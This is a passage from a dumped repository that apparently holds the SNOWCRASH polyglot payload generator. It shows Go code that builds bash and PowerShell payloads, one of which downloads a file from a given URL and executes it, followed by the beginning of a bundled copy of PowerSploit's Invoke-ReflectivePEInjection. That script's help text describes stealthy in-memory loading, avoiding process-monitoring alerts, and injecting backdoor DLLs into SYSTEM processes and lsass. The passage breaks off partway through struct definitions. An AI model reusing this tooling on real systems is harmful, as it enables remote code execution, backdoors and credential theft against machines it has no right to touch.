260 | url := input("[URL]", "URL address of the file to download", "")
261 | tmp := random_string(4)
262 | bash = fmt.Sprintf(`
263 | curl %s > %s; chmod +x %s; ./%s
264 | `, url, tmp, tmp, tmp)
265 | powershell = fmt.Sprintf(`
266 | $url = %s
267 | $out = %s
268 | Invoke-WebRequest -Uri $url -OutFile $out
269 | Start-Process -Filepath "$out"
270 | `, url, tmp+".exe")
271 | case "shutdown":
272 | powershell = `Stop-Computer -ComputerName localhost`
273 | bash = `shutdown`
274 | print_info("This payload has no options")
275 |
276 | }
277 |
278 | polyglot_template = strings.Replace(polyglot_template, "X_POWERSHELL_SCRIPT_X", powershell, -1)
279 | polyglot_template = strings.Replace(polyglot_template, "X_BASH_SCRIPT_X", bash, -1)
280 |
281 | if ! stdout{
282 | write_to_file(out, polyglot_template)
283 | fmt.Println("")
284 | print_good("Saved generated payload in file: "+ bold(out))
285 | } else {
286 | fmt.Println(polyglot_template)
287 | }
288 |
289 | }
290 |
291 | func main(){
292 | print_banner()
293 | parser := argparse.NewParser("snowcrash", "")
294 | var OUT *string = parser.String("o", "out", &argparse.Options{Required: false, Default: "polyglot_script", Help: "Name of the generated polyglot file"})
295 | var LIST *bool = parser.Flag("l", "list", &argparse.Options{Required: false, Help: "List available payloads"})
296 | var PAYLOAD *string = parser.String("p", "payload", &argparse.Options{Required: false, Help: "Name of the payload to use"})
297 | var SLEEP *string = parser.String("s", "sleep", &argparse.Options{Required: false, Default: "0s", Help: "Sleep given interval before executing the payload"})
298 | var STDOUT *bool = parser.Flag("", "stdout", &argparse.Options{Required: false, Help: "Print payload to STDOUT instead of writing to file"})
299 | _ = OUT
300 | _ = LIST
301 | _ = PAYLOAD
302 |
303 |
304 | commandline_args := os.Args
305 | err := parser.Parse(commandline_args)
306 | exit_on_error("[PARSER ERROR]", err)
307 |
308 | if (*LIST){
309 | list()
310 | os.Exit(0)
311 | }
312 | generate_payload(*PAYLOAD, *SLEEP, *OUT, *STDOUT)
313 |
314 | }
315 |
--------------------------------------------------------------------------------
/snowcrash.nix:
--------------------------------------------------------------------------------
1 | { buildGoModule }:
2 |
3 | buildGoModule rec {
4 | pname = "snowcrash";
5 | version = "0.0.1";
6 |
7 | src = builtins.filterSource (path: type: type != "directory" || baseNameOf path != ".git") ./.;
8 |
9 | vendorSha256 = "sha256:gKBOSs2BjqAniCLvsEE+sFESpHvbrOiHymriSrL0ovY=";
10 |
11 | subPackages = [ "." ];
12 |
13 | runVend = true;
14 |
15 | buildInputs = [ ];
16 | }
17 |
18 |
19 |
--------------------------------------------------------------------------------
/snowcrash.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/redcode-labs/SNOWCRASH/HEAD/snowcrash.png
--------------------------------------------------------------------------------
/templates/pe_inject:
--------------------------------------------------------------------------------
1 | function Invoke-ReflectivePEInjection
2 | {
3 | <#
4 | .SYNOPSIS
5 |
6 | This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
7 | or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
8 | please lead the Notes section (GENERAL NOTES) for information on how to use them.
9 |
10 | 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
11 | Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
12 |
13 | This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
14 | this will load and execute the DLL/EXE in to memory without writing any files to disk.
15 |
16 | 2.) Reflectively load a DLL in to memory of a remote process.
17 | As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
18 |
19 | This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
20 | from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
21 | remote process.
22 |
23 | PowerSploit Function: Invoke-ReflectivePEInjection
24 | Author: Joe Bialek, Twitter: @JosephBialek
25 | Code review and modifications: Matt Graeber, Twitter: @mattifestation
26 | License: BSD 3-Clause
27 | Required Dependencies: None
28 | Optional Dependencies: None
29 |
30 | .DESCRIPTION
31 |
32 | Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
33 |
34 | .PARAMETER PEBytes
35 |
36 | A byte array containing a DLL/EXE to load and execute.
37 |
38 | .PARAMETER ComputerName
39 |
40 | Optional, an array of computernames to run the script on.
41 |
42 | .PARAMETER FuncReturnType
43 |
44 | Optional, the return type of the function being called in the DLL. Default: Void
45 | Options: String, WString, Void. See notes for more information.
46 | IMPORTANT: For DLLs being loaded remotely, only Void is supported.
47 |
48 | .PARAMETER ExeArgs
49 |
50 | Optional, arguments to pass to the executable being reflectively loaded.
51 |
52 | .PARAMETER ProcName
53 |
54 | Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
55 |
56 | .PARAMETER ProcId
57 |
58 | Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
59 |
60 | .PARAMETER ForceASLR
61 |
62 | Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
63 | if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
64 | loading in to a remote process.
65 |
66 | .PARAMETER DoNotZeroMZ
67 |
68 | Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
69 |
70 | .EXAMPLE
71 |
72 | Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
73 | $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
74 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
75 |
76 | .EXAMPLE
77 |
78 | Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
79 | the wchar_t* returned by WStringFunc() from all the computers.
80 | $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
81 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
82 |
83 | .EXAMPLE
84 |
85 | Load DemoEXE and run it locally.
86 | $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
87 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
88 |
89 | .EXAMPLE
90 |
91 | Load DemoEXE and run it locally. Forces ASLR on for the EXE.
92 | $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
93 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
94 |
95 | .EXAMPLE
96 |
97 | Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
98 | $PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
99 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
100 |
101 | .NOTES
102 | GENERAL NOTES:
103 | The script has 3 basic sets of functionality:
104 | 1.) Reflectively load a DLL in to the PowerShell process
105 | -Can return DLL output to user when run remotely or locally.
106 | -Cleans up memory in the PS process once the DLL finishes executing.
107 | -Great for running pentest tools on remote computers without triggering process monitoring alerts.
108 | -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
109 | 2.) Reflectively load an EXE in to the PowerShell process.
110 | -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
111 | -Cleans up memory in the PS process once the DLL finishes executing.
112 | -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
113 | 3.) Reflectively inject a DLL in to a remote process.
114 | -Can NOT return DLL output to the user when run remotely OR locally.
115 | -Does NOT clean up memory in the remote process if/when DLL finishes execution.
116 | -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
117 | -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
118 |
119 | DLL LOADING NOTES:
120 |
121 | PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
122 | If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
123 | return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
124 | remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
125 | applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
126 |
127 | For DLL Loading:
128 | Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
129 | I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
130 | the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
131 | returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
132 | wchar_t* : FuncReturnType = WString
133 | char* : FuncReturnType = String
134 | void : Default, don't supply a FuncReturnType
135 |
136 | For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
137 | using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
138 |
139 | The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
140 | WString : WStringFunc
141 | String : StringFunc
142 | Void : VoidFunc
143 |
144 | These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
145 | be declared as follows:
146 | extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
147 |
148 |
149 | If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
150 | this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
151 |
152 | Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
153 |
154 | .LINK
155 |
156 | http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
157 |
158 | Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
159 | Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
160 | #>
161 |
162 | [CmdletBinding()]
163 | Param(
164 | [Parameter(Position = 0, Mandatory = $true)]
165 | [ValidateNotNullOrEmpty()]
166 | [Byte[]]
167 | $PEBytes,
168 |
169 | [Parameter(Position = 1)]
170 | [String[]]
171 | $ComputerName,
172 |
173 | [Parameter(Position = 2)]
174 | [ValidateSet( 'WString', 'String', 'Void' )]
175 | [String]
176 | $FuncReturnType = 'Void',
177 |
178 | [Parameter(Position = 3)]
179 | [String]
180 | $ExeArgs,
181 |
182 | [Parameter(Position = 4)]
183 | [Int32]
184 | $ProcId,
185 |
186 | [Parameter(Position = 5)]
187 | [String]
188 | $ProcName,
189 |
190 | [Switch]
191 | $ForceASLR,
192 |
193 | [Switch]
194 | $DoNotZeroMZ
195 | )
196 |
197 | Set-StrictMode -Version 2
198 |
199 |
200 | $RemoteScriptBlock = {
201 | [CmdletBinding()]
202 | Param(
203 | [Parameter(Position = 0, Mandatory = $true)]
204 | [Byte[]]
205 | $PEBytes,
206 |
207 | [Parameter(Position = 1, Mandatory = $true)]
208 | [String]
209 | $FuncReturnType,
210 |
211 | [Parameter(Position = 2, Mandatory = $true)]
212 | [Int32]
213 | $ProcId,
214 |
215 | [Parameter(Position = 3, Mandatory = $true)]
216 | [String]
217 | $ProcName,
218 |
219 | [Parameter(Position = 4, Mandatory = $true)]
220 | [Bool]
221 | $ForceASLR
222 | )
223 |
224 | ###################################
225 | ########## Win32 Stuff ##########
226 | ###################################
227 | Function Get-Win32Types
228 | {
229 | $Win32Types = New-Object System.Object
230 |
231 | #Define all the structures/enums that will be used
232 | # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
233 | $Domain = [AppDomain]::CurrentDomain
234 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
235 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
236 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
237 | $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
238 |
239 |
240 | ############ ENUM ############
241 | #Enum MachineType
242 | $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
243 | $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
244 | $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
245 | $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
246 | $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
247 | $MachineType = $TypeBuilder.CreateType()
248 | $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
249 |
250 | #Enum MagicType
251 | $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
252 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
253 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
254 | $MagicType = $TypeBuilder.CreateType()
255 | $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
256 |
257 | #Enum SubSystemType
258 | $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
259 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
260 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
261 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
262 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
263 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
264 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
265 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
266 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
267 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
268 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
269 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
270 | $SubSystemType = $TypeBuilder.CreateType()
271 | $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
272 |
273 | #Enum DllCharacteristicsType
274 | $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
275 | $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
276 | $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
277 | $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
278 | $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
279 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
280 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
281 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
282 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
283 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
284 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
285 | $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
286 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
287 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
288 | $DllCharacteristicsType = $TypeBuilder.CreateType()
289 | $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
290 |
291 | ########### STRUCT ###########
292 | #Struct IMAGE_DATA_DIRECTORY
293 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
294 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
295 | ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
296 | ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
297 | $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
298 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
299 |
300 | #Struct IMAGE_FILE_HEADER
301 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
302 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
303 | $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
304 | $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
305 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
306 | $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
307 | $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
308 | $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
309 | $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
310 | $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
311 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
312 |
313 | #Struct IMAGE_OPTIONAL_HEADER64
314 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
315 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
316 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
317 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
318 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
319 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
320 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
321 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
322 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
323 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
324 | ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
325 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
326 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
327 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
328 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
329 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
330 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
331 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
332 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
333 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
334 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
335 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
336 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
337 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
338 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
339 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
340 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
341 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
342 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
343 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
344 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
345 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
346 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
347 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
348 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
349 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
350 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
351 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
352 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
353 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
354 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
355 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
356 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
357 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
358 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
359 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
360 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
361 | $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
362 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
363 |
364 | #Struct IMAGE_OPTIONAL_HEADER32
365 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
366 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
367 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
368 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
369 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
370 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
371 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
372 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
373 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
374 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
375 | ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
376 | ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
377 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
378 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
379 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
380 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
381 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
382 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
383 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
384 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
385 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
386 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
387 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
388 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
389 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
390 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
391 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
392 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
393 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
394 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
395 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
396 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
397 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
398 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
399 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
400 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
401 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
402 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
403 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
404 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
405 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
406 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
407 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
408 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
409 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
